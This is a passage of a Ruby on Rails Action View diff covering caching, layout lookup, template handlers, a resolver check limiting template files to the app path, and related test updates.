@collection = keyed_collection.reject { |key, _| cached_partials.key?(key) }.values + rendered_partials = @collection.empty? ? [] : yield - fetch_or_cache_partial(partial_cache, order_by: keyed_collection.each_key) do - rendered_partials.shift + index = 0 + fetch_or_cache_partial(cached_partials, order_by: keyed_collection.each_key) do + rendered_partials[index].tap { index += 1 } end end - def cache_collection? - @options.fetch(:cache, automatic_cache_eligible?) - end - - def automatic_cache_eligible? - single_template_render? && !callable_cache_key? && - @template.eligible_for_collection_caching?(as: @options[:as]) - end - - def single_template_render? - @template # Template is only set when a collection renders one template. - end - - def callable_cache_key? - @options[:cache].respond_to?(:call) - end - def collection_by_cache_keys - seed = callable_cache_key? ? @options[:cache] : ->(i) { i } - @collection.each_with_object({}) do |item, hash| - hash[expanded_cache_key(seed.call(item))] = item + hash[expanded_cache_key(item)] = item end end def expanded_cache_key(key) - key = @view.fragment_cache_key(@view.cache_fragment_name(key)) + key = @view.fragment_cache_key(@view.cache_fragment_name(key, virtual_path: @template.virtual_path)) key.frozen? ? key.dup : key # #read_multi & #write may require mutability, Dalli 2.6.0. end def fetch_or_cache_partial(cached_partials, order_by:) - cache_options = @options[:cache_options] || @locals[:cache_options] || {} - - order_by.map do |key| - cached_partials.fetch(key) do + order_by.map do |cache_key| + cached_partials.fetch(cache_key) do yield.tap do |rendered_partial| - collection_cache.write(key, rendered_partial, cache_options) + collection_cache.write(cache_key, rendered_partial) end end end diff --git a/actionview/lib/action_view/renderer/renderer.rb b/actionview/lib/action_view/renderer/renderer.rb index 964b18337e..2a3b89aebf 100644 --- a/actionview/lib/action_view/renderer/renderer.rb +++ b/actionview/lib/action_view/renderer/renderer.rb @@ -15,7 +15,7 @@ module ActionView @lookup_context = lookup_context end - # Main render entry point shared by AV and AC. + # Main render entry point shared by Action View and Action Controller. def render(context, options) if options.key?(:partial) render_partial(context, options) @@ -37,7 +37,7 @@ module ActionView end end - # Direct accessor to template rendering. + # Direct access to template rendering. def render_template(context, options) #:nodoc: TemplateRenderer.new(@lookup_context).render(context, options) end diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb index 3ab2cd36fc..f38e2764d0 100644 --- a/actionview/lib/action_view/renderer/streaming_template_renderer.rb +++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb @@ -47,7 +47,7 @@ module ActionView return [super] unless layout_name && template.supports_streaming? locals ||= {} - layout = layout_name && find_layout(layout_name, locals.keys) + layout = layout_name && find_layout(layout_name, locals.keys, [formats.first]) Body.new do |buffer| delayed_render(buffer, template, layout, @view, locals) diff --git a/actionview/lib/action_view/renderer/template_renderer.rb b/actionview/lib/action_view/renderer/template_renderer.rb index cd21d7ab47..1d6afb90fe 100644 --- a/actionview/lib/action_view/renderer/template_renderer.rb +++ b/actionview/lib/action_view/renderer/template_renderer.rb @@ -29,7 +29,7 @@ module ActionView elsif options.key?(:html) Template::HTML.new(options[:html], formats.first) elsif options.key?(:file) - with_fallbacks { find_template(options[:file], nil, false, keys, @details) } + with_fallbacks { find_file(options[:file], nil, false, keys, @details) } elsif options.key?(:inline) handler = Template.handler_for_extension(options[:type] || "erb") Template.new(options[:inline], "inline template", handler, :locals => keys) @@ -40,7 +40,7 @@ module ActionView find_template(options[:template], options[:prefixes], false, keys, @details) end else - raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :text or :body option." + raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :html, :text or :body option." end end @@ -57,7 +57,7 @@ module ActionView end def render_with_layout(path, locals) #:nodoc: - layout = path && find_layout(path, locals.keys) + layout = path && find_layout(path, locals.keys, [formats.first]) content = yield(layout) if layout @@ -72,27 +72,28 @@ module ActionView # This is the method which actually finds the layout using details in the lookup # context object. If no layout is found, it checks if at least a layout with # the given name exists across all details before raising the error. - def find_layout(layout, keys) - with_layout_format { resolve_layout(layout, keys) } + def find_layout(layout, keys, formats) + resolve_layout(layout, keys, formats) end - def resolve_layout(layout, keys) + def resolve_layout(layout, keys, formats) + details = @details.dup + details[:formats] = formats + case layout when String begin if layout =~ /^\// - with_fallbacks { find_template(layout, nil, false, keys, @details) } + with_fallbacks { find_template(layout, nil, false, [], details) } else - find_template(layout, nil, false, keys, @details) + find_template(layout, nil, false, [], details) end rescue ActionView::MissingTemplate all_details = @details.merge(:formats => @lookup_context.default_formats) - raise unless template_exists?(layout, nil, false, keys, all_details) + raise unless template_exists?(layout, nil, false, [], all_details) end when Proc - resolve_layout(layout.call, keys) - when FalseClass - nil + resolve_layout(layout.call(formats), keys, formats) else layout end diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb index 1e8e7415d1..3ca7f9d220 100644 --- a/actionview/lib/action_view/rendering.rb +++ b/actionview/lib/action_view/rendering.rb @@ -59,7 +59,7 @@ module ActionView @_view_context_class ||= self.class.view_context_class end - # An instance of a view class. The default view class is ActionView::Base + # An instance of a view class. The default view class is ActionView::Base. # # The view class must have the following methods: # View.new[lookup_context, assigns, controller] @@ -84,7 +84,7 @@ module ActionView end def rendered_format - Mime[lookup_context.rendered_format] + Template::Types[lookup_context.rendered_format] end private @@ -103,8 +103,8 @@ module ActionView view_renderer.render(context, options) end - # Assign the rendered format to lookup context. - def _process_format(format, options = {}) #:nodoc: + # Assign the rendered format to look up context. + def _process_format(format) #:nodoc: super lookup_context.formats = [format.to_sym] lookup_context.rendered_format = lookup_context.formats.first diff --git a/actionview/lib/action_view/routing_url_for.rb b/actionview/lib/action_view/routing_url_for.rb index 0371db07dc..45e78d1ad9 100644 --- a/actionview/lib/action_view/routing_url_for.rb +++ b/actionview/lib/action_view/routing_url_for.rb @@ -32,7 +32,7 @@ module ActionView # # ==== Examples # <%= url_for(action: 'index') %> - # # => /blog/ + # # => /blogs/ # # <%= url_for(action: 'find', controller: 'books') %> # # => /books/find @@ -84,21 +84,24 @@ module ActionView when Hash options = options.symbolize_keys unless options.key?(:only_path) - if options[:host].nil? - options[:only_path] = _generate_paths_by_default - else - options[:only_path] = false - end + options[:only_path] = only_path?(options[:host]) + end + + super(options) + when ActionController::Parameters + unless options.key?(:only_path) + options[:only_path] = only_path?(options[:host]) end super(options) when :back _back_url when Array + components = options.dup if _generate_paths_by_default - polymorphic_path(options, options.extract_options!) + polymorphic_path(components, components.extract_options!) else - polymorphic_url(options, options.extract_options!) + polymorphic_url(components, components.extract_options!) end else method = _generate_paths_by_default ? :path : :url @@ -136,5 +139,9 @@ module ActionView def _generate_paths_by_default true end + + def only_path?(host) + _generate_paths_by_default unless host + end end end diff --git a/actionview/lib/action_view/tasks/dependencies.rake b/actionview/lib/action_view/tasks/cache_digests.rake index f394c319c1..045bdf5691 100644 --- a/actionview/lib/action_view/tasks/dependencies.rake +++ b/actionview/lib/action_view/tasks/cache_digests.rake @@ -2,13 +2,13 @@ namespace :cache_digests do desc 'Lookup nested dependencies for TEMPLATE (like messages/show or comments/_comment.html)' task :nested_dependencies => :environment do abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present? - puts JSON.pretty_generate ActionView::Digestor.new(name: CacheDigests.template_name, finder: CacheDigests.finder).nested_dependencies + puts JSON.pretty_generate ActionView::Digestor.tree(CacheDigests.template_name, CacheDigests.finder).children.map(&:to_dep_map) end desc 'Lookup first-level dependencies for TEMPLATE (like messages/show or comments/_comment.html)' task :dependencies => :environment do abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present? - puts JSON.pretty_generate ActionView::Digestor.new(name: CacheDigests.template_name, finder: CacheDigests.finder).dependencies + puts JSON.pretty_generate ActionView::Digestor.tree(CacheDigests.template_name, CacheDigests.finder).children.map(&:name) end class CacheDigests diff --git a/actionview/lib/action_view/template.rb b/actionview/lib/action_view/template.rb index 377ceb534a..169ee55fdc 100644 --- a/actionview/lib/action_view/template.rb +++ b/actionview/lib/action_view/template.rb @@ -130,7 +130,6 @@ module ActionView @source = source @identifier = identifier @handler = handler - @cache_name = extract_resource_cache_call_name @compiled = false @original_encoding = nil @locals = details[:locals] || [] @@ -141,7 +140,7 @@ module ActionView @compile_mutex = Mutex.new end - # Returns if the underlying handler supports streaming. If so, + # Returns whether the underlying handler supports streaming. If so, # a streaming buffer *may* be passed when it start rendering. def supports_streaming? handler.respond_to?(:supports_streaming?) && handler.supports_streaming? @@ -154,7 +153,7 @@ module ActionView # we use a bang in this instrumentation because you don't want to # consume this in production. This is only slow if it's being listened to. def render(view, locals, buffer=nil, &block) - instrument("!render_template") do + instrument("!render_template".freeze) do compile!(view) view.send(method_name, locals, buffer, &block) end @@ -166,10 +165,6 @@ module ActionView @type ||= Types[@formats.first] if @formats.first end - def eligible_for_collection_caching?(as: nil) - @cache_name == (as || inferred_cache_name).to_s - end - # Receives a view object and return a template similar to self by using @virtual_path. # # This method is useful if you have a template object but it does not contain its source @@ -190,7 +185,7 @@ module ActionView end def inspect - @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", '') : identifier + @inspect ||= defined?(Rails.root) ? identifier.sub("#{Rails.root}/", ''.freeze) : identifier end # This method is responsible for properly setting the encoding of the @@ -325,7 +320,7 @@ module ActionView template = refresh(view) template.encode! end - raise Template::Error.new(template, e) + raise Template::Error.new(template) end end @@ -337,27 +332,23 @@ module ActionView def method_name #:nodoc: @method_name ||= begin m = "_#{identifier_method_name}__#{@identifier.hash}_#{__id__}" - m.tr!('-', '_') + m.tr!('-'.freeze, '_'.freeze) m end end def identifier_method_name #:nodoc: - inspect.tr('^a-z_', '_') + inspect.tr('^a-z_'.freeze, '_'.freeze) end def instrument(action, &block) payload = { virtual_path: @virtual_path, identifier: @identifier } - ActiveSupport::Notifications.instrument("#{action}.action_view", payload, &block) - end - - def extract_resource_cache_call_name - $1 if @handler.respond_to?(:resource_cache_call_pattern) && - @source =~ @handler.resource_cache_call_pattern - end - - def inferred_cache_name - @inferred_cache_name ||= @virtual_path.split('/').last.sub('_', '') + case action + when "!render_template".freeze + ActiveSupport::Notifications.instrument("!render_template.action_view".freeze, payload, &block) + else + ActiveSupport::Notifications.instrument("#{action}.action_view".freeze, payload, &block) + end end end end diff --git a/actionview/lib/action_view/template/error.rb b/actionview/lib/action_view/template/error.rb index 390bce98a2..3f38c3d2b9 100644 --- a/actionview/lib/action_view/template/error.rb +++ b/actionview/lib/action_view/template/error.rb @@ -59,13 +59,24 @@ module ActionView class Error < ActionViewError #:nodoc: SOURCE_CODE_RADIUS = 3 - attr_reader :original_exception + # Override to prevent #cause resetting during re-raise. + attr_reader :cause - def initialize(template, original_exception) - super(original_exception.message) - @template, @original_exception = template, original_exception - @sub_templates = nil - set_backtrace(original_exception.backtrace) + def initialize(template, original_exception = nil) + if original_exception + ActiveSupport::Deprecation.warn("Passing #original_exception is deprecated and has no effect. " \ + "Exceptions will automatically capture the original exception.", caller) + end + + super($!.message) + set_backtrace($!.backtrace) + @cause = $! + @template, @sub_templates = template, nil + end + + def original_exception + ActiveSupport::Deprecation.warn("#original_exception is deprecated. Use #cause instead.", caller) + cause end def file_name @@ -124,13 +135,13 @@ module ActionView end def formatted_code_for(source_code, line_counter, indent, output) - start_value = (output == :html) ? {} : "" + start_value = (output == :html) ? {} : [] source_code.inject(start_value) do |result, line| line_counter += 1 if output == :html result.update(line_counter.to_s => "%#{indent}s %s\n" % ["", line]) else - result << "%#{indent}s: %s\n" % [line_counter, line] + result << "%#{indent}s: %s" % [line_counter, line] end end end diff --git a/actionview/lib/action_view/template/handlers.rb b/actionview/lib/action_view/template/handlers.rb index 0105e88a49..ad4c353608 100644 --- a/actionview/lib/action_view/template/handlers.rb +++ b/actionview/lib/action_view/template/handlers.rb @@ -2,13 +2,15 @@ module ActionView #:nodoc: # = Action View Template Handlers class Template module Handlers #:nodoc: + autoload :Raw, 'action_view/template/handlers/raw' autoload :ERB, 'action_view/template/handlers/erb' + autoload :Html, 'action_view/template/handlers/html' autoload :Builder, 'action_view/template/handlers/builder' - autoload :Raw, 'action_view/template/handlers/raw' def self.extended(base) base.register_default_template_handler :raw, Raw.new base.register_template_handler :erb, ERB.new + base.register_template_handler :html, Html.new base.register_template_handler :builder, Builder.new base.register_template_handler :ruby, :source.to_proc end diff --git a/actionview/lib/action_view/template/handlers/erb.rb b/actionview/lib/action_view/template/handlers/erb.rb index 88a8570706..85a100ed4c 100644 --- a/actionview/lib/action_view/template/handlers/erb.rb +++ b/actionview/lib/action_view/template/handlers/erb.rb @@ -123,24 +123,6 @@ module ActionView ).src end - # Returns Regexp to extract a cached resource's name from a cache call at the - # first line of a template. - # The extracted cache name is expected in $1. - # - # <% cache notification do %> # => notification - # - # The pattern should support templates with a beginning comment: - # - # <%# Still extractable even though there's a comment %> - # <% cache notification do %> # => notification - # - # But fail to extract a name if a resource association is cached. - # - # <% cache notification.event do %> # => nil - def resource_cache_call_pattern - /\A(?:<%#.*%>\n?)?<% cache\(?\s*(\w+\.?)/ - end - private def valid_encoding(string, encoding) diff --git a/actionview/lib/action_view/template/handlers/html.rb b/actionview/lib/action_view/template/handlers/html.rb new file mode 100644 index 0000000000..ccaa8d1469 --- /dev/null +++ b/actionview/lib/action_view/template/handlers/html.rb @@ -0,0 +1,9 @@ +module ActionView + module Template::Handlers + class Html < Raw + def call(template) + "ActionView::OutputBuffer.new #{super}" + end + end + end +end diff --git a/actionview/lib/action_view/template/handlers/raw.rb b/actionview/lib/action_view/template/handlers/raw.rb index 397c86014a..760f517431 100644 --- a/actionview/lib/action_view/template/handlers/raw.rb +++ b/actionview/lib/action_view/template/handlers/raw.rb @@ -2,9 +2,7 @@ module ActionView module Template::Handlers class Raw def call(template) - escaped = template.source.gsub(/:/, '\:') - - '%q:' + escaped + ':;' + "#{template.source.inspect};" end end end diff --git a/actionview/lib/action_view/template/resolver.rb b/actionview/lib/action_view/template/resolver.rb index bc0db330ea..bf68e93c58 100644 --- a/actionview/lib/action_view/template/resolver.rb +++ b/actionview/lib/action_view/template/resolver.rb @@ -3,7 +3,7 @@ require "active_support/core_ext/class" require "active_support/core_ext/module/attribute_accessors" require "action_view/template" require "thread" -require "thread_safe" +require "concurrent/map" module ActionView # = Action View Resolver @@ -35,7 +35,7 @@ module ActionView # Threadsafe template cache class Cache #:nodoc: - class SmallCache < ThreadSafe::Cache + class SmallCache < Concurrent::Map def initialize(options = {}) super(options.merge(:initial_capacity => 2)) end @@ -52,6 +52,11 @@ module ActionView def initialize @data = SmallCache.new(&KEY_BLOCK) + @query_cache = SmallCache.new + end + + def inspect + "#<#{self.class.name}:0x#{(object_id << 1).to_s(16)} keys=#{@data.size} queries=#{@query_cache.size}>" end # Cache the templates returned by the block @@ -70,8 +75,34 @@ module ActionView end end + def cache_query(query) # :nodoc: + if Resolver.caching? + @query_cache[query] ||= canonical_no_templates(yield) + else + yield + end + end + def clear @data.clear + @query_cache.clear + end + + # Get the cache size. Do not call this + # method. This method is not guaranteed to be here ever. + def size # :nodoc: + size = 0 + @data.each_value do |v1| + v1.each_value do |v2| + v2.each_value do |v3| + v3.each_value do |v4| + size += v4.size + end + end + end + end + + size + @query_cache.size end private @@ -116,6 +147,16 @@ module ActionView end end + def find_all_anywhere(name, prefix, partial=false, details={}, key=nil, locals=[]) + cached(key, [name, prefix, partial], details, locals) do + find_templates(name, prefix, partial, details, true) + end + end + + def find_all_with_query(query) # :nodoc: + @cache.cache_query(query) { find_template_paths(File.join(@path, query)) } + end + private delegate :caching?, to: :class @@ -173,17 +214,18 @@ module ActionView private - def find_templates(name, prefix, partial, details) + def find_templates(name, prefix, partial, details, outside_app_allowed = false) path = Path.build(name, prefix, partial) - query(path, details, details[:formats]) + query(path, details, details[:formats], outside_app_allowed) end - def query(path, details, formats) + def query(path, details, formats, outside_app_allowed) query = build_query(path, details) - template_paths = find_template_paths query + template_paths = find_template_paths(query) + template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed - template_paths.map { |template| + template_paths.map do |template| handler, format, variant = extract_handler_and_format_and_variant(template, formats) contents = File.binread(template) @@ -193,36 +235,50 @@ module ActionView :variant => variant, :updated_at => mtime(template) ) - } + end + end + + def reject_files_external_to_app(files) + files.reject { |filename| !inside_path?(@path, filename) } end def find_template_paths(query) - Dir[query].reject { |filename| + Dir[query].uniq.reject do |filename| File.directory?(filename) || # deals with case-insensitive file systems. !File.fnmatch(query, filename, File::FNM_EXTGLOB) - } + end + end + + def inside_path?(path, filename) + filename = File.expand_path(filename) + path = File.join(path, '') + filename.start_with?(path) end # Helper for building query glob string based on resolver's pattern. def build_query(path, details) query = @pattern.dup - prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1" - query.gsub!(/\:prefix(\/)?/, prefix) + prefix = path.prefix.empty? ? '' : "#{escape_entry(path.prefix)}\\1" + query.gsub!(/:prefix(\/)?/, prefix) partial = escape_entry(path.partial? ? "_#{path.name}" : path.name) - query.gsub!(/\:action/, partial) + query.gsub!(/:action/, partial) - details.each do |ext, variants| - query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}") + details.each do |ext, candidates| + if ext == :variants && candidates == :any + query.gsub!(/:#{ext}/, "*") + else + query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}") + end end File.expand_path(query, @path) end def escape_entry(entry) - entry.gsub(/[*?{}\[\]]/, '\\\\\\&') + entry.gsub(/[*?{}\[\]]/, '\\\\\\&'.freeze) end # Returns the file mtime from the filesystem. @@ -234,7 +290,7 @@ module ActionView # from the path, or the handler, we should return the array of formats given # to the resolver. def extract_handler_and_format_and_variant(path, default_formats) - pieces = File.basename(path).split(".") + pieces = File.basename(path).split('.'.freeze) pieces.shift extension = pieces.pop @@ -270,7 +326,7 @@ module ActionView # # ActionController::Base.view_paths = FileSystemResolver.new( # Rails.root.join("app/views"), - # ":prefix{/:locale}/:action{.:formats,}{+:variants,}{.:handlers,}" + # ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}", # ) # # ==== Pattern format and variables @@ -309,7 +365,11 @@ module ActionView query = escape_entry(File.join(@path, path)) exts = EXTENSIONS.map do |ext, prefix| - "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}" + if ext == :variants && details[ext] == :any + "{#{prefix}*,}" + else + "{#{details[ext].compact.uniq.map { |e| "#{prefix}#{e}," }.join}}" + end end.join query + exts diff --git a/actionview/lib/action_view/template/types.rb b/actionview/lib/action_view/template/types.rb index be45fcf742..b32567cd66 100644 --- a/actionview/lib/action_view/template/types.rb +++ b/actionview/lib/action_view/template/types.rb @@ -1,23 +1,15 @@ -require 'set' require 'active_support/core_ext/module/attribute_accessors' module ActionView class Template class Types class Type - cattr_accessor :types - self.types = Set.new - - def self.register(*t) - types.merge(t.map(&:to_s)) - end - - register :html, :text, :js, :css, :xml, :json + SET = Struct.new(:symbols).new([ :html, :text, :js, :css, :xml, :json ]) def self.[](type) - return type if type.is_a?(self) - - if type.is_a?(Symbol) || types.member?(type.to_s) + if type.is_a?(self) + type + else new(type) end end @@ -28,16 +20,18 @@ module ActionView @symbol = symbol.to_sym end - delegate :to_s, :to_sym, :to => :symbol + def to_s + @symbol.to_s + end alias to_str to_s def ref - to_sym || to_s + @symbol end + alias to_sym ref def ==(type) - return false if type.blank? - symbol.to_sym == type.to_sym + @symbol == type.to_sym unless type.blank? end end @@ -52,6 +46,10 @@ module ActionView def self.[](type) type_klass[type] end + + def self.symbols + type_klass::SET.symbols + end end end end diff --git a/actionview/lib/action_view/test_case.rb b/actionview/lib/action_view/test_case.rb index 06810ad14d..120962b5aa 100644 --- a/actionview/lib/action_view/test_case.rb +++ b/actionview/lib/action_view/test_case.rb @@ -24,11 +24,11 @@ module ActionView def initialize super self.class.controller_path = "" - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new + @request = ActionController::TestRequest.create + @response = ActionDispatch::TestResponse.new @request.env.delete('PATH_INFO') - @params = {} + @params = ActionController::Parameters.new end end @@ -263,9 +263,15 @@ module ActionView end def method_missing(selector, *args) - if @controller.respond_to?(:_routes) && - ( @controller._routes.named_routes.route_defined?(selector) || - @controller._routes.mounted_helpers.method_defined?(selector) ) + begin + routes = @controller.respond_to?(:_routes) && @controller._routes + rescue + # Dont call routes, if there is an error on _routes call + end + + if routes && + ( routes.named_routes.route_defined?(selector) || + routes.mounted_helpers.method_defined?(selector) ) @controller.__send__(selector, *args) else super diff --git a/actionview/lib/action_view/testing/resolvers.rb b/actionview/lib/action_view/testing/resolvers.rb index dfb7d463b4..2664aca991 100644 --- a/actionview/lib/action_view/testing/resolvers.rb +++ b/actionview/lib/action_view/testing/resolvers.rb @@ -19,7 +19,7 @@ module ActionView #:nodoc: private - def query(path, exts, formats) + def query(path, exts, formats, _) query = "" EXTENSIONS.each_key do |ext| query << '(' << exts[ext].map {|e| e && Regexp.escape(".#{e}") }.join('|') << '|)' @@ -44,11 +44,10 @@ module ActionView #:nodoc: end class NullResolver < PathResolver - def query(path, exts, formats) + def query(path, exts, formats, _) handler, format, variant = extract_handler_and_format_and_variant(path, formats) - [ActionView::Template.new("Template generated by Null Resolver", path, handler, :virtual_path => path, :format => format, :variant => variant)] + [ActionView::Template.new("Template generated by Null Resolver", path.virtual, handler, :virtual_path => path.virtual, :format => format, :variant => variant)] end end - end diff --git a/actionview/lib/action_view/view_paths.rb b/actionview/lib/action_view/view_paths.rb index 492f67f45d..717d6866c5 100644 --- a/actionview/lib/action_view/view_paths.rb +++ b/actionview/lib/action_view/view_paths.rb @@ -1,5 +1,3 @@ -require 'action_view/base' - module ActionView module ViewPaths extend ActiveSupport::Concern @@ -10,7 +8,7 @@ module ActionView self._view_paths.freeze end - delegate :template_exists?, :view_paths, :formats, :formats=, + delegate :template_exists?, :any_templates?, :view_paths, :formats, :formats=, :locale, :locale=, :to => :lookup_context module ClassMethods @@ -36,9 +34,9 @@ module ActionView self.class._prefixes end - # LookupContext is the object responsible to hold all information required to lookup - # templates, i.e. view paths and details. Check ActionView::LookupContext for more - # information. + # <tt>LookupContext</tt> is the object responsible for holding all + # information required for looking up templates, i.e. view paths and + # details. Check <tt>ActionView::LookupContext</tt> for more information. def lookup_context @_lookup_context ||= ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes) diff --git a/actionview/test/abstract_unit.rb b/actionview/test/abstract_unit.rb index 4635c645d0..3256d8fc4d 100644 --- a/actionview/test/abstract_unit.rb +++ b/actionview/test/abstract_unit.rb @@ -1,5 +1,3 @@ -require File.expand_path('../../../load_paths', __FILE__) - $:.unshift(File.dirname(__FILE__) + '/lib') $:.unshift(File.dirname(__FILE__) + '/fixtures/helpers') $:.unshift(File.dirname(__FILE__) + '/fixtures/alternate_helpers') @@ -16,6 +14,7 @@ silence_warnings do end require 'active_support/testing/autorun' +require 'active_support/testing/method_call_assertions' require 'action_controller' require 'action_view' require 'action_view/testing/resolvers' @@ -94,12 +93,14 @@ module ActionDispatch super return if DrawOnce.drew - SharedTestRoutes.draw do - get ':controller(/:action)' - end + ActiveSupport::Deprecation.silence do + SharedTestRoutes.draw do + get ':controller(/:action)' + end - ActionDispatch::IntegrationTest.app.routes.draw do - get ':controller(/:action)' + ActionDispatch::IntegrationTest.app.routes.draw do + get ':controller(/:action)' + end end DrawOnce.drew = true @@ -147,13 +148,12 @@ class ActionDispatch::IntegrationTest < ActiveSupport::TestCase def self.build_app(routes = nil) RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware| - middleware.use "ActionDispatch::ShowExceptions", ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public") - middleware.use "ActionDispatch::DebugExceptions" - middleware.use "ActionDispatch::Callbacks" - middleware.use "ActionDispatch::ParamsParser" - middleware.use "ActionDispatch::Cookies" - middleware.use "ActionDispatch::Flash" - middleware.use "Rack::Head" + middleware.use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public") + middleware.use ActionDispatch::DebugExceptions + middleware.use ActionDispatch::Callbacks + middleware.use ActionDispatch::Cookies + middleware.use ActionDispatch::Flash + middleware.use Rack::Head yield(middleware) if block_given? end end @@ -280,4 +280,6 @@ def jruby_skip(message = '') skip message if defined?(JRUBY_VERSION) end -require 'mocha/setup' # FIXME: stop using mocha +class ActiveSupport::TestCase + include ActiveSupport::Testing::MethodCallAssertions +end diff --git a/actionview/test/actionpack/abstract/layouts_test.rb b/actionview/test/actionpack/abstract/layouts_test.rb index a6786d9b6b..72765dc7f5 100644 --- a/actionview/test/actionpack/abstract/layouts_test.rb +++ b/actionview/test/actionpack/abstract/layouts_test.rb @@ -12,7 +12,9 @@ module AbstractControllerTests abstract! self.view_paths = [ActionView::FixtureResolver.new( + "some/template.erb" => "hello <%= foo %> bar", "layouts/hello.erb" => "With String <%= yield %>", + "layouts/hello_locals.erb" => "With String <%= yield %>", "layouts/hello_override.erb" => "With Override <%= yield %>", "layouts/overwrite.erb" => "Overwrite <%= yield %>", "layouts/with_false_layout.erb" => "False Layout <%= yield %>", @@ -32,6 +34,14 @@ module AbstractControllerTests end end + class WithStringLocals < Base + layout "hello_locals" + + def index + render :template => 'some/template', locals: { foo: "less than 3" } + end + end + class WithString < Base layout "hello" @@ -52,7 +62,7 @@ module AbstractControllerTests end def overwrite_skip - render :text => "Hello text!" + render plain: "Hello text!" end end @@ -208,6 +218,31 @@ module AbstractControllerTests assert_equal "Hello blank!", controller.response_body end + test "with locals" do + controller = WithStringLocals.new + controller.process(:index) + assert_equal "With String hello less than 3 bar", controller.response_body + end + + test "cache should not grow when locals change for a string template" do + cache = WithString.view_paths.paths.first.instance_variable_get(:@cache) + + controller = WithString.new + controller.process(:index) # heat the cache + + size = cache.size + + 10.times do |x| + controller = WithString.new + controller.define_singleton_method :index do + render :template => ActionView::Template::Text.new("Hello string!"), :locals => { :"x#{x}" => :omg } + end + controller.process(:index) + end + + assert_equal size, cache.size + end + test "when layout is specified as a string, render with that layout" do controller = WithString.new controller.process(:index) @@ -371,7 +406,7 @@ module AbstractControllerTests test "layout for anonymous controller" do klass = Class.new(WithString) do def index - render :text => 'index', :layout => true + render plain: 'index', layout: true end end diff --git a/actionview/test/actionpack/abstract/render_test.rb b/actionview/test/actionpack/abstract/render_test.rb index d09f91c1e2..e185b76adb 100644 --- a/actionview/test/actionpack/abstract/render_test.rb +++ b/actionview/test/actionpack/abstract/render_test.rb @@ -33,7 +33,7 @@ module AbstractController end def text - render :text => "With Text" + render plain: "With Text" end def default diff --git a/actionview/test/actionpack/controller/capture_test.rb b/actionview/test/actionpack/controller/capture_test.rb index f8387b27b0..933456ce9d 100644 --- a/actionview/test/actionpack/controller/capture_test.rb +++ b/actionview/test/actionpack/controller/capture_test.rb @@ -54,7 +54,7 @@ class CaptureTest < ActionController::TestCase assert_equal expected_content_for_output, @response.body end - def test_should_concatentate_content_for + def test_should_concatenate_content_for get :content_for_concatenated assert_equal expected_content_for_output, @response.body end diff --git a/actionview/test/actionpack/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb index 7b8a83e2fe..64bc4c41d6 100644 --- a/actionview/test/actionpack/controller/layout_test.rb +++ b/actionview/test/actionpack/controller/layout_test.rb @@ -149,75 +149,75 @@ class LayoutSetInResponseTest < ActionController::TestCase def test_layout_set_when_using_default_layout @controller = DefaultLayoutController.new get :hello - assert_template :layout => "layouts/layout_test" + assert_includes @response.body, 'layout_test.erb' end def test_layout_set_when_using_streaming_layout @controller = StreamingLayoutController.new get :hello - assert_template :hello + assert_includes @response.body, 'layout_test.erb' end def test_layout_set_when_set_in_controller @controller = HasOwnLayoutController.new get :hello - assert_template :layout => "layouts/item" + assert_includes @response.body, 'item.erb' end def test_layout_symbol_set_in_controller_returning_nil_falls_back_to_default @controller = HasNilLayoutSymbol.new get :hello - assert_template layout: "layouts/layout_test" + assert_includes @response.body, 'layout_test.erb' end def test_layout_proc_set_in_controller_returning_nil_falls_back_to_default @controller = HasNilLayoutProc.new get :hello - assert_template layout: "layouts/layout_test" + assert_includes @response.body, 'layout_test.erb' end def test_layout_only_exception_when_included @controller = OnlyLayoutController.new get :hello - assert_template :layout => "layouts/item" + assert_includes @response.body, 'item.erb' end def test_layout_only_exception_when_excepted @controller = OnlyLayoutController.new get :goodbye - assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'" + assert_not_includes @response.body, 'item.erb' end def test_layout_except_exception_when_included @controller = ExceptLayoutController.new get :hello - assert_template :layout => "layouts/item" + assert_includes @response.body, 'item.erb' end def test_layout_except_exception_when_excepted @controller = ExceptLayoutController.new get :goodbye - assert !@response.body.include?("item.erb"), "#{@response.body.inspect} included 'item.erb'" + assert_not_includes @response.body, 'item.erb' end def test_layout_set_when_using_render with_template_handler :mab, lambda { |template| template.source.inspect } do @controller = SetsLayoutInRenderController.new get :hello - assert_template :layout => "layouts/third_party_template_library" + assert_includes @response.body, 'layouts/third_party_template_library.mab' end end def test_layout_is_not_set_when_none_rendered @controller = RendersNoLayoutController.new get :hello - assert_template :layout => nil + assert_equal 'hello.erb', @response.body end def test_layout_is_picked_from_the_controller_instances_view_path @controller = PrependsViewPathController.new get :hello - assert_template :layout => /layouts\/alt/ + assert_includes @response.body, 'alt.erb' end def test_absolute_pathed_layout @@ -262,7 +262,7 @@ unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ @controller = LayoutSymlinkedTest.new get :hello assert_response 200 - assert_template :layout => "layouts/symlinked/symlinked_layout" + assert_includes @response.body, 'This is my layout' end end end diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb index 8b47536a18..bdb9e0397b 100644 --- a/actionview/test/actionpack/controller/render_test.rb +++ b/actionview/test/actionpack/controller/render_test.rb 